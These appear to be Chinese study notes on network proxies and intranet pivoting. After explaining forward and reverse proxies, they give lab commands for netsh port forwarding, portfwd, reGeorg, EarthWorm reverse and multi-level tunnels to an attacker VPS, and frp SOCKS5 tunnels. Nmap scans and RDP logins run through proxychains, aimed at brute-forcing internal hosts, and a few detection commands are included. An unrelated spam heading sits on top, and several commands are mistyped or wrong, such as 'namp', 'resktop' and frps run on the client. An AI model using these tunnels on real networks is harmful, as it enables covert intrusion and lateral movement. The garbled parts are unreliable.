網(wǎng)站使用什么數(shù)據(jù)庫(kù)競(jìng)價(jià)推廣哪里開(kāi)戶
8月9日筆記
什么是代理?
“代理”通常指的是“網(wǎng)絡(luò)代理”,它是一種特殊的網(wǎng)絡(luò)服務(wù),允許一個(gè)網(wǎng)絡(luò)終端(一般為客戶端)通過(guò)這個(gè)服務(wù)與另一個(gè)網(wǎng)絡(luò)終端(一般為服務(wù)器)進(jìn)行非直接的連接。代理服務(wù)器作為中間人,接收來(lái)自客戶端的請(qǐng)求,并將這些請(qǐng)求轉(zhuǎn)發(fā)給目標(biāo)服務(wù)器,然后再將從目標(biāo)服務(wù)器接收到的響應(yīng)返回給客戶端。
這是沒(méi)有代理時(shí)的請(qǐng)求與響應(yīng)。
有代理時(shí)的請(qǐng)求與響應(yīng)。
正向代理
正向代理時(shí),由客戶端發(fā)送對(duì)某一個(gè)目標(biāo)服務(wù)器的請(qǐng)求,發(fā)送到代理服務(wù)器,代理服務(wù)器在中間將請(qǐng)求轉(zhuǎn)發(fā)給該目標(biāo)服務(wù)器,目標(biāo)服務(wù)器將結(jié)果返回給代理服務(wù)器,代理服務(wù)器再將結(jié)果返回給客戶端。
客戶端發(fā)送的所有請(qǐng)求都先經(jīng)過(guò)代理服務(wù)器,然后由代理服務(wù)器轉(zhuǎn)發(fā)給目標(biāo)服務(wù)器。使用正向代理時(shí),客戶端是需要配置代理服務(wù)的地址、端口、賬號(hào)密碼(如有)等才可使用的。比如翻墻等等。
通過(guò)使用代理服務(wù)器,客戶端的真實(shí)IP地址可以被隱藏,從而實(shí)現(xiàn)一定程度的匿名訪問(wèn)。
反向代理
反向代理是一種特殊的網(wǎng)絡(luò)代理服務(wù),它位于一組后端服務(wù)器前面,接收客戶端的請(qǐng)求并將這些請(qǐng)求轉(zhuǎn)發(fā)給后端服務(wù)器之一??蛻舳瞬⒉恢苯优c后端服務(wù)器通信,而是通過(guò)反向代理服務(wù)器間接訪問(wèn)。這種配置主要用于負(fù)載均衡、緩存、安全性增強(qiáng)以及簡(jiǎn)化管理等多種目的。通過(guò)反向代理,可以將客戶端的請(qǐng)求分發(fā)到多個(gè)后端服務(wù)器以平衡負(fù)載,存儲(chǔ)常用的靜態(tài)內(nèi)容以減少對(duì)后端服務(wù)器的請(qǐng)求次數(shù),隱藏真實(shí)服務(wù)器的IP地址以增加安全性。
正向代理和反向代理的區(qū)別
最核心的不同在于代理的對(duì)象不同
正向代理是代理客戶端
反向代理是代理服務(wù)器。
而根據(jù)這核心的區(qū)別,可以知道:代理哪端便可以隱藏哪端(也就是說(shuō):正向代理隱藏真實(shí)客戶端,反向代理隱藏真實(shí)服務(wù)端)。
內(nèi)網(wǎng)代理常見(jiàn)的工具
某些情況下,為保護(hù)內(nèi)網(wǎng)安全以及優(yōu)化網(wǎng)站負(fù)載服務(wù)端也會(huì)使用代理程序代理大量來(lái)自客戶端的網(wǎng)絡(luò)請(qǐng)求,反向代理主要面向服務(wù)端服務(wù),客戶端的請(qǐng)求會(huì)直接發(fā)給代理服務(wù)器,代理服務(wù)器會(huì)轉(zhuǎn)發(fā)至服務(wù)端并將服務(wù)端響應(yīng)返回值客戶端。故而反向代理的過(guò)程中,客戶端無(wú)法確定真實(shí)服務(wù)端地址,僅與代理端進(jìn)行通信。攻擊者在成功入侵某一臺(tái)對(duì)外服務(wù)器后也會(huì)利用以上代理原理進(jìn)行內(nèi)網(wǎng)橫向滲透進(jìn)一步擴(kuò)大戰(zhàn)果,上傳代理工具至對(duì)外服務(wù)器將其改造為跳板機(jī),建立通往內(nèi)網(wǎng)的通信隧道。
netsh端口轉(zhuǎn)發(fā)
netsh是windows系統(tǒng)自帶命令行程序,攻擊者無(wú)需上傳第三方工具即可利用netsh程序可進(jìn)行端口轉(zhuǎn)發(fā)操作,可將內(nèi)網(wǎng)中其他服務(wù)器的端口轉(zhuǎn)發(fā)至本地訪問(wèn),如內(nèi)網(wǎng)某臺(tái)服務(wù)器的ssh端口可轉(zhuǎn)發(fā)至本地即可通過(guò)暴力破解或弱口令方式嘗試登陸目標(biāo)服務(wù)器。
靶機(jī)A是web服務(wù)器,靶機(jī)B在內(nèi)網(wǎng)中。攻擊者獲取到靶機(jī)A的服務(wù)器權(quán)限,靶機(jī)B位于內(nèi)網(wǎng)且未映射至互聯(lián)網(wǎng),此時(shí)通過(guò)利用靶機(jī)A自帶命令行程序netsh,netsh可將攻擊者的流量經(jīng)由靶機(jī)A轉(zhuǎn)發(fā)至靶機(jī)B,使得攻擊者可以訪問(wèn)到位于內(nèi)網(wǎng)的靶機(jī)B。
設(shè)置端口轉(zhuǎn)發(fā)規(guī)則命令:
netsh interface portproxy add v4tov4listenaddress=<靶機(jī)A IP地址>listenport=<靶機(jī)A端口>connectaddress=<靶機(jī)B IP地址>connectport=<靶機(jī)B 端口>protocol={tcp|udp}
這樣攻擊者只要使用靶機(jī)A的端口就可以訪問(wèn)靶機(jī)B的端口。
刪除端口轉(zhuǎn)發(fā)策略命令
netsh interface portproxy delete v4tov4
2 listenaddress=<靶機(jī)A IP地址>
3 listenport=<靶機(jī)A 端口>
4 protocol={tcp|udp}
使用以下命令可以確認(rèn)主機(jī)是否被惡意植入了端口轉(zhuǎn)發(fā)策略(反制)
netsh interface portproxy show v4tov4
portfwd端口轉(zhuǎn)發(fā)
portfwd是一款強(qiáng)大的端口轉(zhuǎn)發(fā)工具,支持TCP,UDP,支持IPV4以及IPV6的端口轉(zhuǎn)發(fā)。攻擊者在獲取對(duì)外服務(wù)器權(quán)限后為擴(kuò)大戰(zhàn)果,會(huì)上傳端口轉(zhuǎn)發(fā)工具至對(duì)外服務(wù)器,獲得更多的可攻擊面。例如將失陷主機(jī)的任意可訪問(wèn)端口轉(zhuǎn)發(fā)至內(nèi)網(wǎng)某臺(tái)服務(wù)器的遠(yuǎn)程桌面端口,即可通過(guò)暴力破解和弱口令的方式嘗試登陸內(nèi)網(wǎng)服務(wù)器。實(shí)際環(huán)境下攻擊者利用靶機(jī)的漏洞上傳改工具。
portfwd分為兩種:tcpfwd和udpfwd
用法:
用tcp連接將本地端口 1022 映射到 192.168.5.138:3389
---------------------------
tcpfwd 0.0.0.0:1022 192.168.1.77:22 # allow access from all hosts
tcpfwd 127.0.0.1:1022 192.168.1.77:22 # only allow localhost
tcpfwd [::]:1022 192.168.1.77:22 # allow access to port 1022 via both IPv4 and IPv6
-----------------------------------
用udp連接將本地端口 53 映射到 192.168.5.138:3389
-------------------------
udpfwd 0.0.0.0:53 8.8.8.8:53
udpfwd [::]:53 8.8.8.8:53
通過(guò)如下命令可以確定進(jìn)程的可執(zhí)行文件所在位置,并進(jìn)行清除。(反制)
ls -al /proc/pid
在靶機(jī)B上運(yùn)行如下命令可以看到靶機(jī)A與自身的遠(yuǎn)程桌面3389端口建立了tcp連接。(反制)
netstat -ano
regeorg正向代理
ReGeorg 是一個(gè)用于內(nèi)網(wǎng)穿透的工具,它能夠幫助用戶在受到防火墻或網(wǎng)絡(luò)限制的情況下建立到目標(biāo)網(wǎng)絡(luò)的連接。ReGeorg 主要通過(guò)使用 HTTP 協(xié)議作為傳輸層來(lái)實(shí)現(xiàn)這一目的,因此可以在大多數(shù)網(wǎng)絡(luò)環(huán)境下工作,即使是在那些禁止了其他協(xié)議(如 SSH 或 Telnet)的網(wǎng)絡(luò)中。
攻擊機(jī):kali 192.168.5.15
靶機(jī)A(web服務(wù)器):192.168.5.114
靶機(jī)B:192.168.5.124
ReGeorg 通常通過(guò) Python 腳本來(lái)實(shí)現(xiàn)。要使用 ReGeorg,靶機(jī)A需要具備 Python 環(huán)境,并安裝必要的依賴包。安裝過(guò)程通常包括克隆項(xiàng)目倉(cāng)庫(kù)并安裝所需的 Python 庫(kù)。
在攻擊機(jī)上執(zhí)行如下命令下載regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git
在攻擊機(jī)上運(yùn)行socks代理腳本
python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
-u: 指定 HTTP 代理服務(wù)器的 URL 地址,該 URL 地址指向了一個(gè)包含 ReGeorg 代理腳本的 Web 服務(wù)器。
-p: 指定本地監(jiān)聽(tīng)的端口,客戶端可以通過(guò)這個(gè)端口連接到 SOCKS 代理。
提示georg says, ‘a(chǎn)ll seems fine’說(shuō)明連接成功,已完成端口復(fù)用。
在攻擊機(jī)上配置本地全局代理proxychains,使得本地攻擊流量可通過(guò)regeorg創(chuàng)建的http隧道轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器。攻擊機(jī)自帶proxychains全局代理工具,默認(rèn)路徑為/etc/proxychains4.conf,編輯配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1088
以上配置使得攻擊機(jī)可將支持socks5協(xié)議的攻擊流量通過(guò)本地1088端口轉(zhuǎn)發(fā)至靶機(jī)A,再通過(guò)靶機(jī)A轉(zhuǎn)發(fā)至內(nèi)網(wǎng)其他服務(wù)器。
通過(guò)靶機(jī)A轉(zhuǎn)發(fā)到靶機(jī)B的命令:(在攻擊機(jī)上運(yùn)行)
proxychains telnet 192.168.5.124 445
查看靶機(jī)A上的網(wǎng)絡(luò)連接,可以看到攻擊機(jī)的請(qǐng)求成功實(shí)現(xiàn)端口復(fù)用,復(fù)用了java進(jìn)程創(chuàng)建的端口連接了靶機(jī)B的445端口。查看靶機(jī)B的網(wǎng)絡(luò)連接無(wú)法看到攻擊機(jī)ip地址,靶機(jī)A作為攻擊機(jī)的正向代理。
使用端口掃描工具對(duì)靶機(jī)B進(jìn)行端口掃描:
proxychains4 namp -sV -Pn 192.168.5.124
此時(shí)在靶機(jī)B上看到的所有端口掃描請(qǐng)求源地址均來(lái)自靶機(jī)A而不是攻擊機(jī)。
earthworm反向代理
Earthworm(有時(shí)拼寫為 Arthworm)是一套便攜式的網(wǎng)絡(luò)穿透工具,它提供了 socks 代理和端口轉(zhuǎn)發(fā)兩大核心功能,支持正向代理、反向代理、多級(jí)代理等多種方式來(lái)打通網(wǎng)絡(luò)隧道。Earthworm 能夠在復(fù)雜網(wǎng)絡(luò)環(huán)境下完成網(wǎng)絡(luò)穿透和內(nèi)網(wǎng)橫向滲透的任務(wù)。
利用earthworm反向代理進(jìn)行內(nèi)網(wǎng)橫向滲透
靶機(jī)A: 192.168.5.10
靶機(jī)B: 192.168.5.12
攻擊機(jī): 192.168.5.2
工具攻擊機(jī)下載:
git clone https://github.com/idlefire/ew.git
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在攻擊機(jī)本地開(kāi)啟1080和8888監(jiān)聽(tīng)端口,并將1080端口收到的流量轉(zhuǎn)發(fā)至8888端口。
使用命令netstat -antlp 可以看到攻擊機(jī)本地開(kāi)啟了1080和8888監(jiān)聽(tīng)端口。
#在靶機(jī)A上上傳earthworm,并運(yùn)行如下命令連接攻擊機(jī)的8888端口,建立與攻擊機(jī)的反向代理。
./ew -s rssocks -d vpsip -e 8888
在攻擊機(jī)上修改全局代理軟件proxychains的配置文件,默認(rèn)路徑為/etc/proxychains4.conf。編輯配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1080
實(shí)際環(huán)境下攻擊機(jī)地址一般為公網(wǎng)vps地址,若為公網(wǎng)vps地址,此時(shí)全局代理配置ip應(yīng)設(shè)置為vps地址。
在攻擊機(jī)上使用如下命令通過(guò)代理隧道探測(cè)靶機(jī)B的3389端口是否開(kāi)啟,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞。
proxychains telnet 192.168.5.12 3389
在靶機(jī)B上只能看到靶機(jī)A的地址與自身3389端口建立了連接,無(wú)法看到攻擊機(jī)地址。
此時(shí)利用全局代理以及靶機(jī)A的代理隧道,即使靶機(jī)B處于內(nèi)網(wǎng)無(wú)法通過(guò)外網(wǎng)訪問(wèn),也可通過(guò)此代理隧道實(shí)現(xiàn)遠(yuǎn)程登錄靶機(jī)B,實(shí)現(xiàn)內(nèi)網(wǎng)的橫向移動(dòng)。
使用如下命令遠(yuǎn)程登錄靶機(jī)B:
proxychains4 resktop 192.168.5.12
攻擊機(jī)彈出了靶機(jī)B的遠(yuǎn)程桌面端口,此時(shí)若靶機(jī)B使用了弱密碼或被暴力破解成功即可實(shí)現(xiàn)遠(yuǎn)程登錄。
使用earthworm多級(jí)代理進(jìn)行內(nèi)網(wǎng)橫向滲透
靶機(jī)A: 192.168.5.10
靶機(jī)B: 192.168.5.12
靶機(jī)C: 192.168.5.16
攻擊機(jī): 192.168.5.2
某些條件下,內(nèi)網(wǎng)某些服務(wù)器無(wú)法訪問(wèn)互聯(lián)網(wǎng),需通過(guò)級(jí)聯(lián)的方式將可訪問(wèn)互聯(lián)網(wǎng)的主機(jī)作為一級(jí)代理連接攻擊機(jī),二級(jí)代理連接一級(jí)代理主機(jī)即可形成通信隧道,攻擊機(jī)可通過(guò)級(jí)聯(lián)的方式將攻擊流量轉(zhuǎn)發(fā)至更深入的內(nèi)網(wǎng)。
在攻擊機(jī)上運(yùn)行如下命令,可在攻擊機(jī)本地開(kāi)啟1080和6666監(jiān)聽(tīng)端口,并將1080端口收到的流量轉(zhuǎn)發(fā)至6666端口。
./ew -s lcx_listen -l 1080 -e 6666
#在靶機(jī)B上運(yùn)行如下命令,可開(kāi)啟9999端口的正向代理
./ew -s ssocksd -l 9999
#在靶機(jī)A上運(yùn)行如下命令,同時(shí)連接攻擊機(jī)的反向代理端口和靶機(jī)B的正向代理端口
./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999
在攻擊機(jī)上使用如下命令通過(guò)代理隧道探測(cè)靶機(jī)C的3389端口是否開(kāi)啟,telnet使用的是tcp協(xié)議,而socks5協(xié)議支持tcp和udp協(xié)議數(shù)據(jù)的傳遞。
proxychains telnet 192.168.5.16 3389
此時(shí)登錄靶機(jī)C查看網(wǎng)絡(luò)連接會(huì)看到telnet請(qǐng)求觸發(fā)的tcp連接發(fā)起端為靶機(jī)B。說(shuō)明攻擊機(jī)發(fā)起的請(qǐng)求經(jīng)由靶機(jī)A轉(zhuǎn)發(fā)至靶機(jī)B,有經(jīng)由靶機(jī)B的正向代理轉(zhuǎn)發(fā)至靶機(jī)C。
proxychains4 resktop 192.168.5.16
#攻擊機(jī)彈出了靶機(jī)C的遠(yuǎn)程桌面端口,此時(shí)若靶機(jī)C使用了弱密碼或被暴力破解成功即可實(shí)現(xiàn)遠(yuǎn)程登錄。
frp反向代理
frp
(Fast Reverse Proxy)是一個(gè)高性能的反向代理應(yīng)用,用于實(shí)現(xiàn)內(nèi)網(wǎng)穿透,可以在復(fù)雜網(wǎng)絡(luò)環(huán)境下幫助用戶建立網(wǎng)絡(luò)連接。frp
主要用于解決內(nèi)網(wǎng)服務(wù)器無(wú)法被外部網(wǎng)絡(luò)直接訪問(wèn)的問(wèn)題,通過(guò)在公網(wǎng)服務(wù)器上部署 frp
服務(wù)器端,并在內(nèi)網(wǎng)服務(wù)器上部署 frp
客戶端,實(shí)現(xiàn)內(nèi)外網(wǎng)之間的通信。
- 服務(wù)器端 (
frps
):部署在公網(wǎng)服務(wù)器上,負(fù)責(zé)接收客戶端的連接請(qǐng)求,并將請(qǐng)求轉(zhuǎn)發(fā)到對(duì)應(yīng)的內(nèi)網(wǎng)服務(wù)器。 - 客戶端 (
frpc
):部署在內(nèi)網(wǎng)服務(wù)器上,負(fù)責(zé)與服務(wù)器端建立連接,并將數(shù)據(jù)轉(zhuǎn)發(fā)給服務(wù)器端。
但此類操作存在較大安全隱患,會(huì)將內(nèi)網(wǎng)服務(wù)直接暴露在公網(wǎng)。
靶機(jī)A: 192.168.5.10
靶機(jī)B: 192.168.5.12
攻擊機(jī): 192.168.5.2
工具下載
wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz
首先需要修改兩個(gè)配置文件:frps.ini和frpc.ini
frps.ini修改內(nèi)容:
[common]
bind_addr = 0.0.0.0
bind_port = 33310
allow_ports = 33310-33410
token = 52010 #隨便自己改
在攻擊機(jī)(公網(wǎng)服務(wù)器)上啟動(dòng)服務(wù)端
./frps -c frps.ini
frpc.ini修改內(nèi)容:
[common]
server_addr = 192.168.5.2 #指定了 frp 服務(wù)器端的 IP 地址。
server_port = 33310 #指定了 frp 服務(wù)器端監(jiān)聽(tīng)的端口
token = 52010[socks_proxy]
type = tcp
plugin = socks5
remote_port = 33311 #指定了在服務(wù)器端公開(kāi)的端口,客戶端可以通過(guò)這個(gè)端口連接到 SOCKS5 代理。
local_port = 33311 #指定了本地監(jiān)聽(tīng)的端口,客戶端將通過(guò)這個(gè)端口與 SOCKS5 代理進(jìn)行通信。
在內(nèi)網(wǎng)靶機(jī)A(內(nèi)網(wǎng)服務(wù)器)上反向代理客戶端
./frps -c frps.ini
在攻擊機(jī)上修改全局代理軟件proxychains的配置文件,默認(rèn)路徑為/etc/proxychains4.conf,配置socks5代理地址和端口如下:
socks5 127.0.0.1 33311
proxychains4 resktop 192.168.5.12
攻擊機(jī)彈出了靶機(jī)B的遠(yuǎn)程桌面端口,此時(shí)若靶機(jī)B使用了弱密碼或被暴力破解成功即可實(shí)現(xiàn)遠(yuǎn)程登錄。
注意:這個(gè)是在本地進(jìn)行測(cè)試的,在公網(wǎng)服務(wù)器上的話,frps.ini和frpc.ini配置跟上面不一樣。